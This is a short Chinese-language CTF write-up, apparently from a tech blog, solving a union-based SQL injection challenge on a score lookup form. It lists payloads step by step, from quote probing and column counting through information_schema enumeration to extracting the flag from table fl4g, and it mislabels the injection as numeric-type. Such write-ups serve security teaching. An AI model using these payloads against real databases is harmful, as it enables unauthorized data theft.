首页 > 技术文章 > 一道简单的SQL注入题

xgcl 2021-03-16 21:43 原文

当post方法发送id=1时能够正常显示成绩,当id=1a时同样也可以正常显示成绩,猜测为数字型SQL注入。
image.png
构造id=1'发现不能正常显示成绩,构造id=1'#能够成功显示,接下来只需要按照一般的步骤做就行了。
image.png


探测字段使用二分法找到字段数量,当id=1' order by 4#时不报错。
构造id=-1' union select 1,2,3,4 #根据显示发现代码执行成功。
image.png
构造id=-1' union select 1,database(),user(),version() #可以查看相关信息,发现显示存储成绩的数据库名称为skctf。
image.png
构造id=-1' union select 1,database(),group_concat(schema_name),version() from information_schema.schemata#可以发现一共有4个数据库。
image.png
构造id=-1' union select 1,database(),group_concat(table_name),version() from information_schema.tables where table_schema=database()#得到skctf下的表名。
image.png
构造id=-1' union select 1,database(),group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='fl4g'#得到fl4g下的字段名。
image.png
构造id=-1' union select 1,skctf_flag,3,4 from skctf.fl4g#得到flag。
image.png

推荐阅读